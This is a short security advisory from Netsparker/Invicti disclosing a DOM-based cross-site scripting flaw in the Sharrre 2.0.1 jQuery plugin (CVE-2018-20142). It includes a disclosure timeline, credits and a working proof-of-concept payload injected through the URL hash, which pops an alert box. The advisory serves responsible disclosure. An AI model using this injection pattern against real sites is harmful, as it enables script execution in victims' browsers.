DOM Based Cross-site Scripting Vulnerability in Sharrre 2.0.1


Advisory by Netsparker (now Invicti)
Name: DOM XSS in Sharrre 2.0.1
Affected Software: Sharrre
Affected Versions: 2.0.1
Vulnerability: DOM Based Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVE-ID: CVE-2018-20142
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-18-041

Technical Details

URL: http://{domain}/{file}#'"--></style></scRipt&gt;<scRipt>alert('om3rc_ns')</scRipt>
Parameter Name: Location Hash
Parameter Type: GET
Attack Pattern: #'"--></style></scRipt><scRipt>alert('om3rc_ns')</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

14th January 2018 – First Contact
15th January 2018 – Technical Details Sent
24th July 2018 – Last Attempt to Contact
8th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.